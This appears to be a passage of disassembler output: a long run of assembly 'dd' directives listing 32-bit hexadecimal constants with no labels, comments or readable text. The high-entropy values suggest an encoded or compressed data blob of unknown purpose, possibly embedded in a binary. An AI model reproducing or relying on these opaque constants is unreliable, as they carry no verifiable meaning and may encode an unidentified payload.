		dd 5D5B251Ch, 0FCB88C24h, 8115FD7Ah, 0A5207378h, 33846529h
		dd 0D2BB5BE6h, 0B6A579F0h, 92009DB8h, 0B5043C12h, 5B94B9h
		dd 6BB77768h, 0E181BF95h, 9E008048h, 0A0B8CAC0h, 26494AE8h
		dd 5780A60h, 303DE963h,	1D5C68F4h, 58708700h, 0C97C1159h
		dd 9DDC13C5h, 0CB8C33FBh, 0B4251022h, 1F720C20h, 9F1D9A36h
		dd 50377812h, 48E0970Fh, 173C00B1h, 0CBD5B468h,	0BB0F432Bh
		dd 2B1F607Fh, 191004E2h, 21593C40h, 1891D964h, 5781780h
		dd 0FAF1AEh, 0C91C5CC4h, 842A772Bh, 3BD87E0Bh, 2C879CDh
		dd 0BF5D291Bh, 0ED031E60h, 0DAB9CC01h, 0A50B57E7h, 4C81D438h
		dd 6C94ECD5h, 0D48D1DCFh, 53C0989Ch, 0D01DD981h, 42149C54h
		dd 3360E5A6h, 910FB4F2h, 0DDF08420h, 0BFAFFCC0h, 259F73h
		dd 0A752C1B7h, 28180296h, 380180B1h, 335DDEC8h,	5CEAFBE4h
		dd 360024FDh, 0E480C1Ah, 9CA079D6h, 38580532h, 1F7C72F9h
		dd 0B45C1EE8h, 0C0244CBCh, 8F61B616h, 0A4500DCh, 75D502D6h
		dd 77006227h, 15514FBAh, 3A79E434h, 2934A7C5h, 4042A10h
		dd 980133BDh, 0EC996C07h, 8F3E1010h, 2EB600AAh,	0BDA3078Ch
		dd 35BA005Ah, 426C39BCh, 20CCA12h, 29AEEC13h, 53A18820h
		dd 0A5D3F800h, 6FC9825Fh, 0D58F3FBFh, 0C803963Ch, 0CA88BA6Ch
		dd 569FC6E8h, 0FA7A10ECh, 0AD182300h, 80079808h, 702B0014h
		dd 0E12AC09Fh, 8D006BB6h, 89091268h, 7593243Ah,	8AE50F7Eh
		dd 76002A50h, 9D141F52h, 8AF64Ch, 0CD6E7B99h, 758A4E29h
		dd 411A0037h, 6B9CFC22h, 9B006A19h, 818F1BE1h, 0E3FF93h
		dd 4BD0E803h, 7BAB68Eh,	9C5FCF03h, 0B6D41EA4h, 9EF20F28h
		dd 66825833h, 78605130h, 0C72EAD02h, 9500ADF5h,	4D059209h
		dd 0CD8B00C3h, 0A758B291h, 7A0031AEh, 605BAF19h, 3938543h
		dd 0A4385D13h, 17E8619Ah, 490A6662h, 0C82C90BAh, 0BFF90639h
		dd 403A15h, 21FAE4F8h, 191332C6h, 14ECE09Dh, 0EC77D0h
		dd 4874F685h, 39EF2F27h, 361A3701h, 0A3910456h,	6D07F1DBh
		dd 247916E8h, 0E81AAB7h, 3A80E3ACh, 97236594h, 0A2008CFEh
		dd 0A04A507Ah, 92BE69h,	5864959Dh, 74FE6E94h, 885A701h
		dd 6F8303Bh, 39835FC4h,	0EA870998h, 31518C53h, 0EC0C7FA3h
		dd 4400128Ah, 7118E3FBh, 15CF5Bh, 0FCA95B4h, 1C55751Ah
		dd 0EA9E1100h, 0DF716435h, 34D600DDh, 0E248B9Ah, 0C800BF4Ch
		dd 3ACAB963h, 0E93D3FAh, 581E11BDh, 25030C0h, 9C075D61h
		dd 0ADC34281h, 2A23D4C0h, 12100E5h, 0B76B0B2h, 481CD20Dh
		dd 7D9E75BFh, 0A234B744h, 0BC9734C0h, 89B40FF6h, 4BA221AFh
		dd 0BA40FA01h, 0F0051B88h, 85F7F1CEh, 9D81BA00h, 0EA53ABh
		dd 0CD4CC3D3h, 46BCC40Ch, 0C90EE600h, 0B25036E3h, 0F1DF0149h
		dd 0C734653Bh, 59A6085h, 0AFC52728h, 1FB40D48h,	3B63C6h
		dd 38B30FD5h, 0F5ECF3Eh, 0AD06D3E7h, 80CA3CA4h,	6CF6B614h
		dd 0E0581C00h, 0C8517045h, 77E9EEBDh, 183A60D7h, 0F11B87A8h
		dd 90B448h, 6034C378h, 0A63054h, 4B11EA0Fh, 90D59AB1h
		dd 43004FF8h, 47146405h, 0FF27B29h, 0C3A89C8Eh,	0F384BFA0h
		dd 6400180Ch, 300F1FEEh, 0A8D35h, 0D28A52A9h, 0A3ED1336h
		dd 96F87800h, 0B7412A90h, 0E19C0B30h, 2087BBC6h, 606D4780h
		dd 0A8E72E8Fh, 8D757800h, 0C14D5A28h, 0C9961F94h, 3BC4857Dh
		dd 0BE88401Dh, 4A5BE0FBh, 832A8700h, 3FD6E7B4h,	0C59E00EBh
		dd 0D3E2B586h, 0EE000E98h, 0E8B16467h, 9B81Dh, 9E931590h
		dd 70A208FFh, 8E1A83Fh,	9AA9E2h, 613C5A30h, 0D000924Fh
		dd 0A0B09312h, 34ACA6h,	0F7E6FF77h, 54E0029Bh, 0F81D360Bh
		dd 644D805Fh, 0EFA3952h, 4592F9CDh, 81384460h, 0B032C17h
		dd 0E0B0ACA9h, 9995F8C4h, 0BF520EA6h, 2D43921Eh, 0B1909FAEh
		dd 8128CAF7h, 8008025h,	0BFE2E794h, 1E1A035h, 0F780263Bh
		dd 0E882CE91h, 0BB71C7A8h, 0B25FC0F7h, 0EEC14201h, 0CC4AFADFh
		dd 0C799E0h, 299F39A3h,	2293AC91h, 0CBBB6C06h, 0E7081C8h
		dd 0D5D1AF4Ch, 8C1097ACh, 38D920F7h, 3609B574h,	802A5F07h
		dd 0EEB7472Ch, 0B8AF3ACDh, 8281007Dh, 61C827E3h, 0EC0F3C0Eh
		dd 40CD5A68h, 0D69CA3Fh, 0C57D0057h, 0A645DAF1h, 10009AC6h
		dd 565DE796h, 6A74B8h, 39FBEA0Ah, 8A322D03h, 207E3798h
		dd 0AB22E605h, 17C721E1h, 3EDA7380h, 513F0083h,	312FFBD5h
		dd 2A00F96Ch, 237C8512h, 4A6BCFh, 0AB5A48B2h, 30E609BDh
		dd 315B2507h, 6460EAE2h, 48733A56h, 0DF00883Bh,	63AEA6BCh
		dd 89265BD0h, 8501FC60h, 8FE26F58h, 0FA2AE8h, 1FAEA477h
		dd 9DBB3EEDh, 4519401Fh, 4B807C2Ch, 0B2707C82h,	5887F0DDh
		dd 4C003283h, 5935D2F0h, 0AC9839EAh, 58ABF00h, 24345747h
		dd 0B78C001Dh, 624F3D2Ah, 0D498AE3Ch, 88FC2300h, 0C38001B3h
		dd 0A01400DCh, 4B046D97h, 3F980A18h, 5AF60DFCh,	0E4F92E00h
		dd 727FFED7h, 91646012h, 461475FBh, 0C74D8C00h,	31C6AEAFh
		dd 900E0435h, 0C025F1C1h, 0C0BB5C15h, 981A1002h, 0C08E70CFh
		dd 0F822BCB6h, 5C8F0059h, 4C5D23AFh, 7400F19Ah,	5140CBD6h
		dd 3FAD7557h, 89FA4B2h,	185D80C6h, 2D2701BBh, 9B226700h
		dd 7BACD145h, 2FF008Bh,	0B8E1529Dh, 2618D578h, 46D003C0h
		dd 0DC4D00C6h, 5720CB0Dh, 3B008E0Eh, 3E963564h,	71D7DE51h
		dd 0CAF20047h, 0C0F0F807h, 0FC3042EDh, 2FF9D3AAh, 597B70h
		dd 8D77DF5Ah, 0C356F0DDh, 13CEA20Fh, 0E298E188h, 3430D4D1h
		dd 9A1C2E34h, 26E50054h, 7A885860h, 9F494228h, 8E4A7600h
		dd 0EBB76F01h, 51651D35h, 140FC0D0h, 117DD3E5h,	8EE3D538h
		dd 2CD2E601h, 101012h, 0C6ECD756h, 3B70AEA9h, 7B75CE00h
		dd 19DEE695h, 0C790001Ah, 0E0B46D68h, 0B9482BD1h, 0F127560h
		dd 480026ECh, 0B7EFE9F1h, 920E0084h, 4A049B53h,	6900CF44h
		dd 0D102167Ah, 1379B1F1h, 78C5AFh, 6E88C1F2h, 0AB72DE09h
		dd 0EA1FC4A0h, 5F5B361Fh, 25D8240h, 833D48h, 1B38D252h
		dd 7D3AA8DEh, 0AE686003h, 0E0A02Ch, 14C0F938h, 0FBAC9E55h
		dd 0D06DC20Fh, 0C0252FFDh, 0AD84C52h, 5C6202B0h, 2FCFA843h
		dd 0C97EB040h
		dd 7BBAE512h, 0E93E8E00h, 0B0F030E1h, 0A795057Ch, 800A7CCAh
		dd 6D52D4E4h, 0ED287A60h, 0EC0E1FDCh, 28F0004Eh, 0D4E85B1Eh
		dd 0A15CD35Fh, 413B0188h, 582C36C9h, 2F20DC21h,	5D3300C5h
		dd 4B5A9847h, 440B1F5Eh, 807ED609h, 1BDEECEDh, 336F3F20h
		dd 0D175A280h, 0F58FD059h, 0D23CE41Eh, 0C91BBFC0h, 3F65BCF7h
		dd 3D0056B8h, 2615D392h, 9D003F04h, 8ADEC6A3h, 5B75382h
		dd 0B0BC1A06h, 0DAC8093h, 0A9008644h, 187D6DCAh, 9B1BD36h
		dd 0F134B3A0h, 803C0D07h, 208C57BAh, 12CC971Dh,	7E80EC00h
		dd 0C5B9EEh, 0E4F1A296h, 0DB0FE1Dh, 9C1C9D00h, 0AEB265B7h
		dd 2EB61F34h, 10C14002h, 0E5EAA5B1h, 9E7ACC00h,	4E16D904h
		dd 0DFFE0059h, 5F0D4605h, 50003961h, 0A3C18680h, 3F07CB6Fh
		dd 0C33CB414h, 0E8CF7314h, 6372B205h, 0E6F500ECh, 3DC962C1h
		dd 9A192500h, 4244A5E1h, 4680012Fh, 0EB5D8E9Bh,	0CC793004h
		dd 0A7661501h, 23B60FE2h, 0EB5C3C4h, 845FAAF2h,	0F51843A0h
		dd 0D503A070h, 0CF5EE230h, 5849883Bh, 0CD10C08Dh, 0D4C3239h
		dd 506D9600h, 0CC668508h, 4D010324h, 677056D3h,	0DEF207B0h
		dd 227B80C0h, 0A51E91h,	0EE0A9E3Fh, 0F4B24FB0h,	80ABBF3Eh
		dd 8672C711h, 57E302h, 4CEEFAA0h, 4FEC1AAEh, 4EF0A850h
		dd 8AEF7400h, 0E0F5B83Eh, 99E4E1h, 622887DAh, 0BE7AB725h
		dd 3DF76500h, 60B1277Ch, 0CA7800B5h, 83314C38h,	743B858Eh
		dd 364587C6h, 71238B88h, 849F1C3h, 1639630h, 1BBC4F5Ah
		dd 60808240h, 11DFA71Dh, 89ABF460h, 0CCD6E1A2h,	921E27B5h
		dd 9E407708h, 6A49FE8h,	0C6CF0082h, 48BDD520h, 0E3001714h
		dd 456A5CFAh, 3DE49EA0h, 0B62F4694h, 4030C7Eh, 0B0373A34h
		dd 732AEACFh, 78CEF6DBh, 35CA00E4h, 3DED500Ah, 3E1FEBE0h
		dd 4380F9EEh, 93D99D41h, 1248151Fh, 440E94A3h, 0BC80CF2Ch
		dd 2DB2C586h, 29C15D30h, 18C0D79Eh, 0C8520E9Dh,	0E001D1C9h
		dd 80AA4202h, 0F894CA77h, 0C7802876h, 0BC46F22Bh, 42295200h
		dd 0D59BD397h, 0C6014CBFh, 0B7FE3E7Ch, 185A3A80h, 0F2FB323h
		dd 1EDE5C3Dh, 54C08F4Bh, 44D875DDh, 0C9320098h,	33F7EC52h
		dd 7700A837h, 0F3500245h, 753D59h, 945E7CA6h, 72C84BEh
		dd 42494800h, 50A306FAh, 0A5D400A9h, 805C9260h,	0CB0E2E22h
		dd 60BF8FBEh, 5D897BCAh, 0A566000Ah, 0BC7CDB63h, 0FF185E56h
		dd 39F1B5E0h, 91641A90h, 43D114Eh, 0A706E086h, 0FFAE3F10h
		dd 3972501h, 0D0A13F65h, 8D002379h, 9C306816h, 2E760Ah
		dd 7260AF1Fh, 6E864B1Eh, 4E333600h, 753A2D67h, 4326007Ch
		dd 0DC283099h, 0B1005319h, 38EE458h, 2C1EB90h, 0F7AC8573h
		dd 9CE0DDE2h, 800211Bh,	6056C46Bh, 4F492Dh, 9812BEC0h
		dd 8693DFF2h, 4143702h,	403A9538h, 79620h, 0D3C0522Bh
		dd 0E327BD3Dh, 561EDE00h, 29CAA11Bh, 12830785h,	64E5CD26h
		dd 19CC052h, 5100C8E1h,	0A7E945B1h, 0BC9BB6h, 0C9178624h
		dd 15CE7126h, 0EC40879Dh, 4C0CFF5h, 3C2CCCC0h, 0B200A32Ah
		dd 0AB06D884h, 0CD0090DCh, 328D2873h, 0B36F6Ah,	0F697FD19h
		dd 0B04CAB9h, 0FF00EB76h, 80C7173Fh, 0C293E4h, 4BFB5BA3h
		dd 52227AC1h, 318B0E00h, 0B3C3CF05h, 1DD900CDh,	0E9874DFCh
		dd 21EA1ACh, 0EF83E0F8h, 0D6F6835Dh, 0B841388Ah, 40665B9Dh
		dd 125C36D2h, 0A609918Bh, 8018A260h, 0B6EA9994h, 6BF235h
		dd 0A82211E0h, 0EF6506AAh, 792B7A00h, 4BE1232Fh, 0D6BF009Fh
		dd 41E8A128h, 0AE03D843h, 33DD6704h, 3EB988C5h,	3D1D01D6h
		dd 9E8ED70Eh, 6A90C89Fh, 0C468AB03h, 98DAB574h,	709C975h
		dd 9B1381CDh, 0E082B7EAh, 0DD25C07Ch, 2D96D003h, 0B8894C2Ah
		dd 1D834C4h, 0A12BE4BAh, 84404D0Bh, 0D28EC8F0h,	8041ACC3h
		dd 0FF85A3h, 16DED89Ch,	50ACC24Ah, 0A7CE1300h, 0E2C5329Bh
		dd 960100A1h, 109C7043h, 0BC726A14h, 3889C300h,	857617C9h
		dd 6EE41F02h, 39AD8082h, 2D29A1ABh, 0C6366700h,	0E0B2388Ah
		dd 0FEF2009Eh, 0EA9495E5h, 44F660D6h, 0D8BA21C0h, 628FA22h
		dd 542430Fh, 0EA004970h, 257D9937h, 0ABED46Eh, 910DD696h
		dd 63430180h, 0F81BD523h, 0E4002670h, 4DF60EA7h, 5172ADh
		dd 0B4439840h, 0E5919B02h, 0A69758h, 0D4D24750h, 5268830h
		dd 0FFCE9808h, 2DEDC1C3h, 59D3E8C2h, 6EE18F06h,	3D8939BEh
		dd 6C82F6AFh, 0FDE00F3Ah, 9B632440h, 0BAFB6804h, 0D6C0D3BBh
		dd 0C486D4h, 0C09E4628h, 0EA66B55Dh, 5431DF61h,	79703DD0h
		dd 4A0B0047h, 0F6B4C88Ah, 0CF7A38FBh, 0DE0090B8h, 1C20130Ch
		dd 5AA7F4Eh, 8761B88h, 84B800A0h, 2AECCC52h, 0DB712C00h
		dd 9C28DDC7h, 1ED600F1h, 8C12BD41h, 18000F8Bh, 1503806Ch
		dd 1E90A475h, 8EE1AA5Ch, 3020C273h, 1DD8705Eh, 9569CC00h
		dd 9F1AA8F6h, 3C140112h, 2B351BFDh, 250ECC4Fh, 28E5B33Bh
		dd 0CA00843Ah, 1622EC90h, 80FC4E7Ah, 0A2700B32h, 948E8850h
		dd 0AC384C3Ch, 4A00D853h, 0DC24212h, 6F1E0BA6h,	6300B14Bh
		dd 1CF839F5h, 8855D300h, 9E601404h, 86F40EEEh, 620C426h
		dd 0BCF238EBh, 10D24Ch,	0BF0CA939h, 0F04E0Dh, 34FC4717h
		dd 0CFF325E4h, 9D80BE00h, 22D5525Ah, 83E0096h, 8FDFBC79h
		dd 7771F31h, 0EA515Ch, 288A67D1h, 0CE7A9DA9h, 8E8001C0h
		dd 0A043DF7Ch, 96C8730Eh, 0B9CC6078h, 2FA865h, 0D5E39E24h
		dd 59F8AAACh, 0D714700h, 0A9323DAEh, 3499487Eh,	50D32Eh
		dd 0A1308F9Bh, 0DB00CA56h, 422DEDC6h, 78B16Ch, 7C5F3129h
		dd 509515B4h, 5C0014E2h, 6C018D71h, 0BEFA3Ch, 0E8E4A7F6h
		dd 0B26EA066h, 0EEC4FCA0h, 0BA2C8C03h, 0F89099E5h, 48347EE7h
		dd 8E099A02h, 5D0780BCh, 1865906Ch, 70050794h, 0E50F7F11h
		dd 622AF181h, 7E59D1E4h, 9A7D0010h, 6C4724E4h, 7B0001DEh
		dd 1E766ED5h, 0FC17ADh,	0C363FD27h, 0A9F7D3D1h,	623AE87Ah
		dd 13690EFEh, 4EC740CFh, 24EB35B0h, 9BC86B8h, 1487BC95h
		dd 19FB80B4h, 3100A263h, 0E8BA54CFh, 7DBD5BC6h,	7A3360A9h
		dd 0DE953CBh, 0EF21D700h, 0F02EDFE1h, 0EED5001Fh, 1B7919ABh
		dd 0E7008BE8h, 5914B98h, 0A080FB06h, 7C7ED8h, 95B61567h
		dd 74EDD436h, 5CE27100h, 6CA977B3h, 3A607899h, 5281D77Fh
		dd 1A187D0Fh, 97242010h, 0A6877B00h, 0BC2DC1A3h, 7FD874A8h
		dd 0D9081296h, 0FE8F0E61h, 4C27CD20h, 0AC04481Ah, 0E3AD6E2h
		dd 4BF27890h, 9CC930ABh, 4E3E4650h, 6B7CBC92h, 2400189Ah
		dd 16F8EE6Eh, 0B9AD2Bh,	0F21F4438h, 13DE5CFh, 0C5A8C40Fh
		dd 73DE808Bh, 511D84C1h, 0A544A43Ch, 44CAA440h,	813F32h
		dd 0C66E1F85h, 0FB741A05h, 756133Eh, 0A5554E22h, 0F167A4B0h
		dd 29EF131Eh, 44F41E8Fh, 0D12FD1DAh, 0CC88D64Ch, 43008797h
		dd 656967C6h, 43D15ABh,	0BBCBD95Fh, 563480DCh, 0D00D084h
		dd 3273DDB2h, 9077167Dh, 14D8007Ah, 99ABC743h, 0D1015598h
		dd 42796BE3h, 2CF5A403h, 72D0BDF8h, 3A140092h, 0BCCAD85Eh
		dd 3E0090FDh, 4BE4893Bh, 12595C8Bh, 41F0F26Ah, 9A34F368h
		dd 85B4F03Ch, 17DCFE00h, 0BE6A8408h, 72A1037Dh,	0B35A220Fh
		dd 2F3B5BC0h, 937FB600h, 6F9CAC27h, 3C1770DFh, 6A8049ADh
		dd 0CEA42432h, 0CD074594h, 0EB751F33h, 0C89D8D02h, 0E68F0618h
		dd 57E3878h, 0CB2EC380h, 0A38B9BA6h, 0F381D719h, 53206E11h
		dd 3CEFE277h, 0DC24AF5Eh, 0A91100E4h, 25BB85E1h, 0B2876400h
		dd 0B4B0BC50h, 90E2704Ah
		dd 2AF406CCh, 9015AAC8h, 394B2700h, 0EA06012h, 0B35113C0h
		dd 0FA80009Fh, 914DD51Ah, 0F60082F0h, 2DFB34D7h, 2A32EDh
		dd 5727B978h, 1A4240BBh, 50E89406h, 0A0A880h, 0C6B3F33Fh
		dd 0AF5D1E45h, 0F253B72Ch, 3E8F7700h, 841ABCh, 50C6C224h
		dd 6BC8D089h, 91924F03h, 0E93553C3h, 8082F467h,	160E829Ch
		dd 74C8405Dh, 0C16C1E73h, 804424B7h, 0BEC4F13Bh, 4502E1ECh
		dd 0A9F8B3E8h, 99AC04Bh, 0A0E302D0h, 2C773E5Dh,	114DC077h
		dd 91FA3DDEh, 0A53A1D7Ch, 0EEA4C0E4h, 1DD2A76Fh, 0CC8F640Eh
		dd 0EF8D6011h, 0AD23E3h, 0E57F01B5h, 8366FAFh, 4C0AC200h
		dd 0EB55DBC8h, 0D77B11h, 873856F8h, 9E57788Dh, 0C6124898h
		dd 0A8B8BB5Dh, 0BAE6FC00h, 0E9DFA6F2h, 17F69600h, 2D5F99A0h
		dd 0AA13009Dh, 1AD694CAh, 9509D562h, 7519BA5h, 0F0776704h
		dd 60AEB7C0h, 75BE3E5Fh, 1911A812h, 70FE2898h, 0C80FDBA8h
		dd 0E6FA18Dh, 19832203h, 509881F9h, 0C6000122h,	44007F7Ch
		dd 0E997D4A7h, 4CD67B7h, 0F705F87Eh, 9410D15Ch,	0CE8EEFCh
		dd 55388DB0h, 29007908h, 0AA2C9DE7h, 72A1AE1Fh,	5B171D63h
		dd 0A6074028h, 6737CB20h, 9AC22100h, 86D0B995h,	35540073h
		dd 9DD96509h, 0DA0F9C1Eh, 0C0CD68E9h, 5F321B8Dh, 0EAE80066h
		dd 0DFBF5D14h, 15B02BA5h, 0FC6F48h, 0E69E50D4h,	5939F12Ch
		dd 4E00684Ah, 0A8EAA0C2h, 8E03BF0Dh, 0DCF444BDh, 10B900ACh
		dd 0E5942ADh, 0D512F51Eh, 800FCA0h, 96D43DDBh, 1C4C1D51h
		dd 785D4168h, 30826503h, 72075A04h, 0A471C19Ch,	35743F20h
		dd 27BC0024h, 3B7B306Ch, 0F707685Fh, 1A88AB46h,	0ED4F9B90h
		dd 0DE6400C7h, 0A6286617h, 1DF832BDh, 98D0E050h, 851E48h
		dd 0E263B94Ah, 26BB697Eh, 406E6Bh, 8D5EA6C1h, 647F53FFh
		dd 3CF0201Dh, 161339D3h, 91F6A000h, 71FAFC38h, 0DED71D48h
		dd 0A54AC05Ch, 0BCC8864Eh, 942A48h, 12E78D18h, 24B91Ah
		dd 9703C9C3h, 0E27D19FAh, 116B490Fh, 9830E0AAh,	61D736F7h
		dd 6CD8719Eh, 68C08095h, 0C2C6F89h, 92DD04FBh, 80D029EEh
		dd 0E26197ACh, 4181B100h, 8FCB14E7h, 0EC7C1213h, 0A21C4027h
		dd 385DEFD8h, 2F14330Eh, 0D000B330h, 13FE2C16h,	0E9510BD7h
		dd 0C82EE19h, 9E3A9C0h,	33E0CBEAh, 0AB0C755h, 9E013000h
		dd 1B3525AAh, 627060h, 7F682475h, 4AA41AE2h, 0D352A20Bh
		dd 392400B4h, 0EE65C53Fh, 0DCEB0067h, 5F17D9D8h, 0F40F0420h
		dd 0A08043D2h, 0AA332C83h, 0B17494h, 8B62E2A3h,	92180466h
		dd 2220E000h, 5D79148Ch, 0F05100DAh, 9EC3AB25h,	0CD070721h
		dd 0E2B1D7C7h, 0A6564CF0h, 0BBA70006h, 7B741B7Fh, 8200DACAh
		dd 3D3362F2h, 7D0AE571h, 0C57D398Ch, 0C8455000h, 0C9A1D343h
		dd 5E86A700h, 53C2EE44h, 0B5D20E66h, 6E403D79h,	0B09F65BFh
		dd 92D9F23Dh, 0D8C06D02h, 2634DB7Bh, 274FAh, 0DE5DE333h
		dd 0EC0788BDh, 1E2AA60Eh, 81793030h, 0A8325BFBh, 6C450075h
		dd 0D7213B13h, 0DBBD37C9h, 0E58680C0h, 4401244Ah, 549602B4h
		dd 0E6D4C903h, 0B890A0h, 14F860A2h, 0BA3E9EE0h,	8525DD00h
		dd 0CC6C1013h, 31CD00A8h, 6F0DE789h, 2CF4A5C7h,	11E88C00h
		dd 19B25575h, 187B0C3Dh, 4360B889h, 7D494412h, 0E0A178C3h
		dd 1DCA9A4Ch, 0F9F95027h, 470118E0h, 62E8D118h,	18403528h
		dd 0B86AFB04h, 9807829Bh, 0F55C40B2h, 0BA1F43FEh, 35087A97h
		dd 6F19425Dh, 133D3C87h, 3EC0C49Ah, 5C191C7Ah, 9928CFE5h
		dd 0DE833880h, 3E10CC7Eh, 0D9CAED02h, 0A1473D80h, 1D79C28Ch
		dd 6F9B7874h, 387880A2h, 0C5FC9845h, 9F107550h,	3B475900h
		dd 0DD1F9A15h, 7A64000Dh, 0FCC00AB3h, 7F009360h, 45DA68B1h
		dd 60AE6C81h, 3D1FC006h, 2BEED440h, 57BBDD00h, 8026B218h
		dd 523400D3h, 44B819A4h, 64009C6Ch, 5F4F33F0h, 0F1C30Dh
		dd 5D8F0706h, 8DDB0EBEh, 0B026B38h, 201A22h, 0EFB8A5C0h
		dd 9B7004Dh, 0F9143057h, 354CFBC9h, 0DDC5000Ah,	5D4E16B4h
		dd 7D690011h, 0A418FEB2h, 25001E86h, 0A3F84780h, 0EC5467h
		dd 1C10C508h, 0F7FCB95Bh, 0C717D100h, 0B1B0AB31h, 0A22A0226h
		dd 0CE79BFF5h, 0DE62C4AFh, 100D2054h, 79B0040Fh, 10D853CCh
		dd 18876h, 0F446A7Ch, 0E05C4390h, 79B82D50h, 0AD75BF01h
		dd 8B69E102h, 70F02988h, 9031BE88h, 0D1578FCBh,	0F9081C21h
		dd 84B79034h, 84893B8h,	857780BDh, 5B2F7650h, 1BD781Ah
		dd 2A744E83h, 0F402175Eh, 811C5180h, 5A40D86Fh,	3DEB0550h
		dd 0D3D70093h, 0EDFE6B55h, 8500913Fh, 946FCB2h,	399060h
		dd 0E52E50E7h, 6CBD6B7Fh, 1AA09805h, 1AC00D71h,	77E984F1h
		dd 56810015h, 0DC771F3Fh, 1300C2E7h, 23DDA055h,	1C63B652h
		dd 0CA8E33h, 3F6FD8D2h,	0D35C45FCh, 34040011h, 72AEC1A3h
		dd 747F28h, 2CA977ECh, 7DE0A094h, 0F4C98701h, 0D524D6C7h
		dd 0BA44CCh, 0C83216EEh, 0A20CD376h, 9A00B8ECh,	7347B403h
		dd 0FDFF714h, 7497B3F4h, 69B5560h, 0CB007DC0h, 7380B06Eh
		dd 3A31AC5h, 0D16EB6Fh,	12D8C87Bh, 0F9FBA8CAh, 6308FC2Eh
		dd 0FF84B100h, 36FCF210h, 8E149BEh, 951B28h, 0A2937A83h
		dd 0BC76B9F1h, 4A449D03h, 0C8F8619Bh, 799171B8h, 0EFA3005Fh
		dd 6EDF3119h, 123B06C3h, 11040036h, 0DE661BA1h,	88330041h
		dd 44A09CB6h, 4628E6D0h, 0B401883Dh, 0F3B12165h, 0FD210D72h
		dd 118020EDh, 98693CF8h, 0C800C07Ch, 18CF3A1Eh,	7F59FF04h
		dd 0A2260342h, 39795F9Dh, 2A207FF8h, 0E318EE00h, 3D386E61h
		dd 939903C3h, 118FC674h, 0FD3E39A8h, 1B063201h,	5C5D61A8h
		dd 48AEC0h, 64DA35D9h, 1A165FF7h, 6EBB901Fh, 4E8B80FBh
		dd 0DE39C82Dh, 67150058h, 0C614BD36h, 0DB00FBA6h, 0D648F9B6h
		dd 52AE7Fh, 0DF1C8FD9h,	87637CDAh, 96649900h, 0EBCD8150h
		dd 0BEEC44h, 0B642DF69h, 0C1A37D5h, 0C8E65700h,	3229D1B2h
		dd 1F7C90h, 9DACD8BBh, 7B769407h, 0CF889E0Ah, 10098A9h
		dd 15DBA32Eh, 472B0B59h, 4A00328Ch, 0BF128BA2h,	0BBE4A700h
		dd 46B5636Dh, 3EDCF3F2h, 0C80400C6h, 3D117ECFh,	0CCDF6764h
		dd 0BD025h, 0D1703F55h,	14CE6F78h, 0A6016673h, 0DCBFCA2Fh
		dd 34EC183Bh, 868200C8h, 3438EE0h, 88795791h, 0D1CC1E00h
		dd 0B2CF76E2h, 0CD650095h, 7D5CD346h, 120035FDh, 52B57959h
		dd 0BFE58D6h, 0B9770CEBh, 0A3A0FE00h, 750071F3h, 0D334B340h
		dd 77BC74E0h, 0A266008Fh, 1A1EEA63h, 5800B588h,	13F361A4h
		dd 0B48F19h, 5E10A55Bh,	0AF3B5ABFh, 0C1FDA00h, 0C459B11Ah
		dd 3D92EB2h, 466B00E9h,	9DDD4AC9h, 0FEC20500h, 7687F236h
		dd 0A707AB2h, 958F4BAAh, 8D4C00A8h, 445CC4A2h, 193C9300h
		dd 0EE8A6A7Fh, 0D1BE2EF9h, 1B7A06FDh, 240E3158h, 5B118h
		dd 1E87DCC3h, 23D90138h, 0B3E4BB70h, 0FEC41BDh,	0C3E0C26Eh
		dd 0D70089EBh, 8F0C4D58h, 766682Bh, 0E79DBFB0h,	72F200ECh
		dd 1E58FBBBh, 3CC200EFh, 53FED5F9h, 2757E87h, 0E2E90E24h
		dd 948E9493h, 20868F3Eh, 0BE039CCEh, 0D080A8FEh, 7D732D1Ah
		dd 27A95F60h, 3EEEB01Bh, 9907D909h, 83E20316h, 0CAF0BDC3h
		dd 0DB84BD5h, 0BC5AE01h, 52F426B3h, 0F64020h, 3FFB42B6h
		dd 9949D0F2h, 0C756BD07h, 906E6B3h, 776A00D2h, 0E26E40A6h
		dd 5979144Ah, 3BD5860Fh, 25982026h, 48DE2173h, 6C0E302Ah
		dd 0D4408A05h, 99127BC2h, 3CF64100h, 0F4E950E4h, 70AF3EDBh
		dd 6A47FD00h, 0E6DD3DDFh
		dd 506C743Bh, 634C3490h, 2AA80043h, 68946F33h, 127002Dh
		dd 0B35D4D6h, 420F702Ch, 6731AE83h, 0E7E016F0h,	2C2BB93h
		dd 0CF220AE3h, 82604C75h, 0B90F5237h, 0E021F3A7h, 7F649E48h
		dd 0F858F483h, 0A2457BBCh, 0A8F1878Ch, 0D12B9350h, 6EE6BFh
		dd 36E29587h, 6C29B9D3h, 9F888A1Fh, 28BED041h, 0B450D61Dh
		dd 62DF26h, 3C119389h, 66D82BE1h, 0C3958B1Ch, 36394C0h
		dd 3FD3B2h, 0B04A9F10h,	0BE8E86C5h, 1A37E490h, 26A061DDh
		dd 3BCBD730h, 0FB007C22h, 7480310Dh, 7306BB3Fh,	0FAE537D0h
		dd 0F0050039h, 85F36CB0h, 3101C154h, 0C2D68487h, 8320A8A5h
		dd 1C7348FBh, 483ECC00h, 0C07D0A4Bh, 98F72812h,	0B5405C00h
		dd 1F1760E7h, 0E6A3A28Ch, 317C01C3h, 0E48A45DDh, 5FF0B234h
		dd 0E5180400h, 7A9462D9h, 1D847F1Eh, 0E82B77h, 55838B1Bh
		dd 0B0009E5Ah, 901FF56Dh, 1C05F28h, 850DEFF1h, 0D4469821h
		dd 80004BDDh, 3837769Bh, 1DD1E3h, 75328EA2h, 0FB2D3EFAh
		dd 43EAE100h, 14E9AE71h, 3E5F85Ah, 23799D47h, 54C86BD7h
		dd 970FBD8Bh, 0C04881D4h, 6E0B293Ch, 72F489h, 3A65BC2Bh
		dd 2336BD1Bh, 98B25000h, 63A92E57h, 0E5FEBEh, 0BB347939h
		dd 0F10813E2h, 5D5F38h,	44F3AD9Fh, 0B6F81Ah, 270B02E5h
		dd 6DC5392Ch, 95486AF8h, 0BDD400CDh, 4DA12A65h,	735B00F5h
		dd 3E92137Ch, 0A700A5B8h, 0F88E128Ah, 36B35Dh, 84F209C7h
		dd 0C860FDFBh, 0F05F9200h, 3C2FB659h, 4BEB006Ah, 1BE2762Ah
		dd 7D01A1D0h, 0A67CC9C6h, 0D5D88444h, 5C510085h, 0FD7FEEEBh
		dd 57004A8Fh, 0BE9C595Dh, 0FC77494Dh, 9E8A38E5h, 97E9AF06h
		dd 0A00011C8h, 0F39A348Fh, 5845EAE4h, 71A40Ah, 0E6881298h
